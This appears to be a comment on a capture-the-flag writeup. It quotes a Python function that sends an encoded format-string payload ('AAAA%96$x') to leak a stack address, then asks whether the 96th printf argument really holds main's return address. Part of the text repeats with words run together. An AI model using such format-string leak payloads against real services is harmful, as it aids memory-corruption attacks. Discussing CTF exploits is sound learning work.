In this writeup,
def get_retn_addr():
p = getp()
payload = ''
payload += 'AAAA%96$x'
cipher = encode(megan35, payload)
p.sendline(cipher)
ret = p.recvall()
ret = ret.replace('AAAA','')
return u32(ret.decode('hex')[::-1])+0xc
Did you want to calculate the stack address holding the return address from main method? If so, it seems not to be stored as the 96-th argument of the printf call.
In this writeup,
Did you want to calculate the stack address holding the return address from
mainmethod? If so, it seems not to be stored as the 96-th argument of theprintfcall.